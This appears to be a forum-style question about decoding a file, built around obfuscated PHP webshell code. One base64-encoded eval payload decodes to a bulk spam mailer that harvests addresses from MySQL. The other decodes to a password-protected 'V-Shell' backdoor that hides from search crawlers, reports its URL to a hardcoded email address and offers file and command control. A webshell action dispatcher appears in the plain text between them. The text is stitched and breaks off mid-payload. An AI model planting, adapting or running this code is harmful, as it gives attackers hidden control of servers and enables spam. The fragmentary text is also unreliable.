eval(base64_decode(\'Ly9Eb250IGNoYW5nZSBhbnl0aGluZyBmcm9tIGJlbG93CiRzZWN1cmUgPSAiIjsKZXJyb3JfcmVwb3J0aW5nKDApOwpAJGFjdGlvbj0kX1BPU1RbJ2FjdGlvbiddOwpAJGZyb209JF9QT1NUWydmcm9tJ107CkAkcmVhbG5hbWU9JF9QT1NUWydyZWFsbmFtZSddOwpAJHJlcGx5dG89JF9QT1NUWydyZXBseXRvJ107CkAkc3ViamVjdD0kX1BPU1RbJ3N1YmplY3QnXTsKQCRtZXNzYWdlPSRfUE9TVFsnbWVzc2FnZSddOwpAJGVtYWlsbGlzdD0kX1BPU1RbJ2VtYWlsbGlzdCddOwpAJGZpbGVfbmFtZT0kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsKQCRjb250ZW50dHlwZT0kX1BPU1RbJ2NvbnRlbnR0eXBlJ107CkAkZmlsZT0kX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107CkAkYW1vdW50PSRfUE9TVFsnYW1vdW50J107CnNldF90aW1lX2xpbWl0KGludHZhbCgkX1BPU1RbJ3RpbWVsaW1pdCddKSk7Cj8+CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iCiAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+ILBbTWFpTGVyIEJZIFRoZSBHZW4hdXNdsCA8L3RpdGxlPgo8cCBhbGlnbj0iY2VudGVyIj4KPHRpdGxlPiCwW01haUxlciBCWSBUaGUgR2VuIXVzXbAgPC90aXRsZT4KPC9wPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCi5zdHlsZTEgewoJZm9udC1mYW1pbHk6IEdlbmV2YSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsKCWZvbnQtc2l6ZTogMTJweDsKfQouc3R5bGUyIHsKCWZvbnQtc2l6ZTogMTBweDsKCWZvbnQtZmFtaWx5OiBHZW5ldmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7Cn0KCi0tPgo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IGJnY29sb3I9IiNGNUY1RjUiIHRleHQ9IiMwMDAwMDAiPgoKPD9waHAKSWYgKCRhY3Rpb249PSJteXNxbCIpewovL0dyYWIgZW1haWwgYWRkcmVzc2VzIGZyb20gTXlTUUwKaW5jbHVkZSAiLi9teXNxbC5pbmZvLnBocCI7CgogIGlmICghJHNxbGhvc3QgfHwgISRzcWxsb2dpbiB8fCAhJHNxbHBhc3MgfHwgISRzcWxkYiB8fCAhJHNxbHF1ZXJ5KXsKICAgIHByaW50ICJQbGVhc2UgY29uZmlndXJlIG15c3FsLmluZm8ucGhwIHdpdGggeW91ciBNeVNRTCBpbmZvcm1hdGlvbi4gQWxsIHNldHRpbmdzIGluIHRoaXMgY29uZmlnIGZpbGUgYXJlIHJlcXVpcmVkLiI7CiAgICBleGl0OwogIH0KCiAgJGRiID0gbXlzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbGxvZ2luLCAkc3FscGFzcykgb3IgZGllKCJDb25uZWN0aW9uIHRvIE15U1FMIEZhaWxlZC4iKTsKICBteXNxbF9zZWxlY3RfZGIoJHNxbGRiLCAkZGIpIG9yIGRpZSgiQ291bGQgbm90IHNlbGVjdCBkYXRhYmFzZSAkc3FsZGIiKTsKICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbHF1ZXJ5KSBvciBkaWUoIlF1ZXJ5IEZhaWxlZDogJHNxbHF1ZXJ5Iik7CiAgJG51bXJvd3MgPSBteXNxbF9udW1fcm93cygkcmVzdWx0KTsKCiAgZm9yKCR4PTA7ICR4PCRudW1yb3dzOyAkeCsrKXsKICAgICRyZXN1bHRfcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpOwogICAgICRvbmVlbWFpbCA9ICRyZXN1bHRfcm93WzBdOwogICAgICRlbWFpbGxpc3QgLj0gJG9uZWVtYWlsLiJcbiI7CiAgIH0KICB9CgogIGlmICgkYWN0aW9uPT0ic2VuZCIpeyAkbWVzc2FnZSA9IHVybGVuY29kZSgkbWVzc2FnZSk7CiAgICRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCIlNUMlMjIiLCAiJTIyIiwgJG1lc3NhZ2UpOwogICAkbWVzc2FnZSA9IHVybGRlY29kZSgkbWVzc2FnZSk7CiAgICRtZXNzYWdlID0gc3RyaXBzbGFzaGVzKCRtZXNzYWdlKTsKICAgJHN1YmplY3QgPSBzdHJpcHNsYXNoZXMoJHN1YmplY3QpOwogICB9Cj8+Cjxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48YnIgLz4KICA8dGFibGUgd2lkdGg9IjE0MiIgYm9yZGVyPSIwIj4KICAgIDx0cj4KCiAgICAgIDx0ZCB3aWR0aD0iODEiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5Zb3VyIEVtYWlsOjwvZm9udD4KICAgICAgICA8L2Rpdj4KICAgICAgPC90ZD4KCiAgICAgIDx0ZCB3aWR0aD0iMjE5Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZnJvbSIgdmFsdWU9Ijw/cGhwIHByaW50ICRmcm9tOyA/PiIgc2l6ZT0iMzAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgoKICAgICAgPHRkIHdpZHRoPSIyMTIiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5Zb3VyIE5hbWU6PC9mb250PgogICAgICAgIDwvZGl2PgogICAgICA8L3RkPgoKICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZWFsbmFtZSIgdmFsdWU9Ijw/cGhwIHByaW50ICRyZWFsbmFtZTsgPz4iIHNpemU9IjMwIiAvPgogICAgICAgIDwvZm9udD4KICAgICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICAgIDx0ZCB3aWR0aD0iODEiPgogICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij4KICAgICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5SZXBseS1Ubzo8L2ZvbnQ+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCB3aWR0aD0iMjE5Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVwbHl0byIgdmFsdWU9Ijw/cGhwIHByaW50ICRyZXBseXRvOyA/PiIgc2l6ZT0iMzAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgogICAgICA8dGQgd2lkdGg9IjIxMiI+CiAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPgogICAgICAgICAgPGZvbnQgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPkF0dGFjaCBGaWxlOjwvZm9udD4KICAgICAgICA8L2Rpdj4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSIyNCIgLz4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgd2lkdGg9IjgxIj4KICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+CiAgICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+U3ViamVjdDo8L2ZvbnQ+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCBjb2xzcGFuPSIzIiB3aWR0aD0iNzAzIj4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9Ijw/IHByaW50ICRzdWJqZWN0OyA/PiIgc2l6ZT0iOTAiIC8+CiAgICAgICAgPC9mb250PgogICAgICA8L3RkPgogICAgPC90cj4KICAgIDx0ciB2YWxpZ249InRvcCI+CiAgICAgIDx0ZCBjb2xzcGFuPSIzIiB3aWR0aD0iNTIwIj4KICAgICAgICA8Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSItMyI+TWVzc2FnZSBCb3ggOjwvZm9udD4KICAgICAgPC90ZD4KICAgICAgPHRkIHdpZHRoPSIyNzgiPgogICAgICAgIDxmb250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9Ii0zIj5FbWFpbCBUYXJnZXQgLyBFbWFpbCBTZW5kIFRvIDo8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyIHZhbGlnbj0idG9wIj4KICAgICAgPHRkIGNvbHNwYW49IjMiIHdpZHRoPSI1MjAiPgogICAgICAgIDxmb250IHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj4KICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSI1NiIgcm93cz0iMTAiPjw/cGhwIHByaW50ICRtZXNzYWdlOyA/PjwvdGV4dGFyZWE+PGJyIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvbnRlbnR0eXBlIiB2YWx1ZT0icGxhaW4iIC8+IFBsYWluCiAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9ImNvbnRlbnR0eXBlIiB2YWx1ZT0iaHRtbCIgY2hlY2tlZD0iY2hlY2tlZCIgLz4gSFRNTAogICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2VuZCIgLz48YnIgLz4KCSAgTnVtYmVyIHRvIHNlbmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhbW91bnQiIHZhbHVlPSIxIiBzaXplPSIxMCIgLz48YnIgLz4KCSAgTWF4aW11bSBzY3JpcHQgZXhlY3V0aW9uIHRpbWUoaW4gc2Vjb25kcywgMCBmb3Igbm8gdGltZWxpbWl0KTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0aW1lbGltaXQiIHZhbHVlPSIwIiBzaXplPSIxMCIgLz4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZW5kIGVNYWlscyIgLz4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICAgIDx0ZCB3aWR0aD0iMjc4Ij4KICAgICAgICA8Zm9udCBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+CiAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZW1haWxsaXN0IiBjb2xzPSIzMiIgcm93cz0iMTAiPjw/cGhwIHByaW50ICRlbWFpbGxpc3Q7ID8+PC90ZXh0YXJlYT4KICAgICAgICA8L2ZvbnQ+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogIDwvdGFibGU+CjwvZm9ybT4KCjw/CmlmICgkYWN0aW9uPT0ic2VuZCIpewogIGlmICghJGZyb20gJiYgISRzdWJqZWN0ICYmICEkbWVzc2FnZSAmJiAhJGVtYWlsbGlzdCl7CiAgICBwcmludCAiUGxlYXNlIGNvbXBsZXRlIGFsbCBmaWVsZHMgYmVmb3JlIHNlbmRpbmcgeW91ciBtZXNzYWdlLiI7CiAgICBleGl0OwogICB9CiAgJGFsbGVtYWlscyA9IHNwbGl0KCJcbiIsICRlbWFpbGxpc3QpOwogICRudW1lbWFpbHMgPSBjb3VudCgkYWxsZW1haWxzKTsKICAkZmlsdGVyID0gIm1haWxsaXN0IjsKICAkZmxvYXQgPSAiRnJvbSA6IG1haWxpc3QgaW5mbyA8bmcyQGxpdmUuZnI+IjsKIC8vT3BlbiB0aGUgZmlsZSBhdHRhY2htZW50IGlmIGFueSwgYW5kIGJhc2U2NF9lbmNvZGUgaXQgZm9yIGVtYWlsIHRyYW5zcG9ydAogSWYgKCRmaWxlX25hbWUpewogICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlKSl7CglkaWUoIlRoZSBmaWxlIHlvdSBhcmUgdHJ5aW5nIHRvIHVwbG9hZCBjb3VsZG4ndCBiZSBjb3BpZWQgdG8gdGhlIHNlcnZlciIpOwogICB9CiAgICRjb250ZW50ID0gZnJlYWQoZm9wZW4oJGZpbGUsInIiKSxmaWxlc2l6ZSgkZmlsZSkpOwogICAkY29udGVudCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGNvbnRlbnQpKTsKICAgJHVpZCA9IHN0cnRvdXBwZXIobWQ1KHVuaXFpZCh0aW1lKCkpKSk7CiAgICRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOwogIH0KCiBmb3IoJHh4PTA7ICR4eDwkYW1vdW50OyAkeHgrKyl7CiAgZm9yKCR4PTA7ICR4PCRudW1lbWFpbHM7ICR4KyspewogICAgJHRvID0gJGFsbGVtYWlsc1skeF07CiAgICBpZiAoJHRvKXsKICAgICAgJHRvID0gZXJlZ19yZXBsYWNlKCIgIiwgIiIsICR0byk7CiAgICAgICRtZXNzYWdlID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkbWVzc2FnZSk7CiAgICAgICRzdWJqZWN0ID0gZXJlZ19yZXBsYWNlKCImZW1haWwmIiwgJHRvLCAkc3ViamVjdCk7CiAgICAgIHByaW50ICJTZW5kaW5nIG1haWwgdG8gJHRvLi4uLi4uLiI7CiAgICAgIGZsdXNoKCk7CiAgICAgICRoZWFkZXIgPSAiRnJvbTogJHJlYWxuYW1lIDwkZnJvbT5cclxuUmVwbHktVG86ICRyZXBseXRvXHJcbiI7CiAgICAgICRoZWFkZXIgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9JHVpZFxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiLS0kdWlkXHJcbiI7CiAgICAgICRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC8kY29udGVudHR5cGVcclxuIjsKICAgICAgJGhlYWRlciAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdFxyXG5cclxuIjsKICAgICAgJGhlYWRlciAuPSAiJG1lc3NhZ2VcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZFxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiQ29udGVudC1UeXBlOiAkZmlsZV90eXBlOyBuYW1lPVwiJGZpbGVfbmFtZVwiXHJcbiI7CiAgICAgIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiJGZpbGVfbmFtZVwiXHJcblxyXG4iOwogICAgICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiJGNvbnRlbnRcclxuIjsKICAgICAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZC0tIjsKICAgICAgbWFpbCgkdG8sICRzdWJqZWN0LCAiIiwgJGhlYWRlcik7CiAgICAgIHByaW50ICJvazxicj4iOwogICAgICBmbHVzaCgpOwogICAgfQogIH0KIH0KCn0K\'));
    printFooter();    
}

function actionabout(){
    printHeader();
    echo \'<h1>About</h1>\';
    echo \'<div class="content">\';
    echo "<div class=header><center><h3><span></span></h3>Thanks To : YouTube :p <br><br />";
    echo "<br><br /><br /></div>";
    echo \'</div>\';
    printFooter();
}

if( empty($_POST[\'a\']) )
    if(isset($default_action) && function_exists(\'action\' . $default_action))
        $_POST[\'a\'] = $default_action;
    else
        $_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
    call_user_func(\'action\' . $_POST[\'a\']);
	
	?>
	
	
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAKJGF1dGhfcGFzcyA9ICJjNGNhNDIzOGEwYjkyMzgyMGRjYzUwOWE2Zjc1ODQ5YiI7IC8vbWQ1IHBhc3N3b3JkIGlzIHJvb3RzCiRjb2xvciA9ICIjNDRjZjAwIjsKJHNlYyA9IDE7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgZXhpdDsKfQpAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpAZGVmaW5lKCdWRVJTSU9OJywgJzIuMCcpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsKICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsKICAgICAgICByZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOwogICAgfQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7Cn0KZnVuY3Rpb24gcHJpbnRMb2dpbigpIHsKICAgID8+CgoKPGh0bWw+CjxoZWFkPgo8c3R5bGU+Ym9keSB7CiAgICBiYWNrZ3JvdW5kOiB1cmwoJ2h0dHA6Ly9hc3NldHMucmF6ZXJ6b25lLmNvbS9lZWltYWdlcy9hc3NldHMvaW1hZ2VzL2NvbW1vbi9ob25leWNvbWItYmcuanBnJykgcmVwZWF0IHNjcm9sbCAwJSAwJSAjMDAwOwogICAgY29sb3I6ICNGRkY7Cn0KI2Zvb3RlciB7CiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICB3aWR0aDogMjIwcHg7CiAgICBjbGVhcjogYm90aDsKICAgIG1hcmdpbjogMHB4IGF1dG87Cn0KI2Zvb3RlciAjc2l0ZW1hcCB7CiAgICBoZWlnaHQ6IGF1dG87CiAgICBwYWRkaW5nLXRvcDogMjVweDsKICAgIHBhZGRpbmctYm90dG9tOiAzNXB4OwogICAgcGFkZGluZy1sZWZ0OiAxMnB4OwogICAgYmFja2dyb3VuZDogdXJsKCdodHRwOi8vd3d3LnJhemVyem9uZS5jb20vaW1hZ2VzL2NvbW1vbi9mb290ZXJfYmcucG5nJykgcmVwZWF0IHNjcm9sbCBsZWZ0IHRvcCB0cmFuc3BhcmVudDsKICAgIHRleHQtYWxpZ246IGxlZnQ7CiAgICBmb250LWZhbWlseTogRElOUHJvLU1lZGl1bSxSb2JvdG8tTWVkaXVtOwogICAgZm9udC1zaXplOiAxMnB4OwogICAgY29sb3I6ICM2NjY7CiAgICBtYXJnaW46IDIwcHggYXV0bzsKfQouZHJfZm9ybUxpbmUgewogICAgbWFyZ2luOiAwcHg7CiAgICBwYWRkaW5nOiAwcHg7CiAgICB3aWR0aDogMjI1cHg7CiAgICBjbGVhcjogbm9uZTsKfQouZHJfZm9ybUxpbmUgaW5wdXQgewogICAgbWFyZ2luOiAwcHg7CiAgICBwYWRkaW5nOiA3cHggOHB4OwogICAgd2lkdGg6IDE5MnB4OwogICAgYm9yZGVyOiAxcHggc29saWQgIzY2NjsKICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDA7Cn0KLmRyX2Zvcm1MaW5lIGlucHV0IHsKICAgIGZvbnQ6IDExcHggQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7CiAgICBib3JkZXI6IDFweCBzb2xpZCAjNjY2OwogICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDsKICAgIGNvbG9yOiAjOTk5OwogICAgcGFkZGluZzogNXB4Owp9CmlucHV0LCBidXR0b24sIHRleHRhcmVhLCBzZWxlY3Qgewp9Cjwvc3R5bGU+Cjx0aXRsZT5WLVNoZWxsPC90aXRsZT4KPC9oZWFkPgoKPGJvZHk+CiAgICA8P3BocAplcnJvcl9yZXBvcnRpbmcoMCk7Cgo/Pgo8P3BocAokdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKPz4KClVwbG9hZCBpcyA8Yj48Y29sb3I+V09SS0lORzwvY29sb3I+PC9iPjxicj4KQ2hlY2sgIE1haWxsaW5nIC4uPGJyPgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iSGlkZGVuIiBuYW1lPSJlbWFpbCIgdmFsdWU9Indvb2R5MTMxNEBnbWFpbC5jb20icmVxdWlyZWQgPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VuZCB0ZXN0ID4+Ij4KPC9mb3JtPgo8YnI+Cjw/cGhwCmlmICghZW1wdHkoJF9QT1NUWydlbWFpbCddKSl7CgkkeHggPSByYW5kKCk7CgltYWlsKCRfUE9TVFsnZW1haWwnXSwiUmVzdWx0IFJlcG9ydCBUZXN0IC0gIi4keHgsIldPUktJTkcgISIuJHVybCk7CglwcmludCAiPGI+c2VuZCBhbiByZXBvcnQgdG8geW91ciBlbWFpbCAtICR4eDwvYj4iOyAKfQo/Pgo8ZGl2IGlkPSJmb290ZXIiPgo8ZGl2IGlkPSJzaXRlbWFwIj4KPGZvcm0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiIG5hbWU9ImxvZ2luIj4KPHAgYWxpZ249ImNlbnRlciI+CjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly90cmgwMGQuZmlsZXMud29yZHByZXNzLmNvbS8yMDEyLzExL2hhY2tlci1za3VsbC1hbmQtY3Jvc3Nib25lcy5qcGciIHdpZHRoPSI2NCIgaGVpZ2h0PSI2NCI+PC9wPgoKICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJfZm9ybUxpbmUiPgogICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZHJfbGFiZWwiIGZvcj0ibG9naW5JRCI+CiAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICA8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBpZD0ibG9naW5FbWFpbCIgcGxhY2Vob2xkZXI9IlBhc3NXb3JkIiB2YWx1ZT0iIiBzaXplPSIyMCIgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiPgogICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJfZm9ybUxpbmUiPgogICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZHJfbGFiZWwiIGZvcj0ibG9naW5JRCI+CiAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRnVjayBJdCIgLz4KICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgIAo8L2Rpdj4KPC9kaXY+CjwvYm9keT4KPC9odG1sPgogICAgPD9waHAKICAgIGV4aXQ7Cn0KaWYoJHNlYyA9PSAxICYmICFpc3NldCggJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpCiAgICBpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fAogICAgICAgICggaXNzZXQoICRfUE9TVFsncGFzcyddICkgJiYgKCBtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MgKSApICkKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsKICAgIGVsc2UKICAgICAgICBwcmludExvZ2luKCk7Ci8qLS0tLS0tLS0tLS0tLS0tLS0tIEFudGkgQ3Jhd2xlciAtLS0tLS0tLS0tLS0qLwppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkKewogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOwogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkKICAgIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKICAgICAgICBleGl0OwogICAgfQp9CmVjaG8gIjxtZXRhIG5hbWU9XCJST0JPVFNcIiBjb250ZW50PVwiTk9JTkRFWCwgTk9GT0xMT1dcIiAvPiI7IC8vRm9yIEVuc3VyaW5nLi4uIEZ1Y2sgYWxsIFJvYm90cy4uLgovKi0tLS0tLS0tLS0tLS0tLS0tLSBFbmQgb2YgQW50aSBDcmF3bGVyIC0tLS0tKi8KaWYoIHN0cnRvbG93ZXIoIHN1YnN0cihQSFBfT1MsMCwzKSApID09ICJ3aW4iICkKICAgICRvcyA9ICd3aW4nOwplbHNlCiAgICAkb3MgPSAnbml4JzsKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoIGlzc2V0KCAkX1BPU1RbJ2MnXSApICkKICAgIEBjaGRpcigkX1BPU1RbJ2MnXSk7CiRjd2QgPSBAZ2V0Y3dkKCk7CmlmKCAkb3MgPT0gJ3dpbicpIHsKICAgICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsKICAgICRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOwp9CmlmKCAkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycgKQogICAgJGN3ZCAuPSAnLyc7CiAgICAKaWYoJG9zID09ICd3aW4nKSB7CiAgICAkYWxpYXNlcyA9IGFycmF5KAogICAgICAgICJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAgICAgIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyI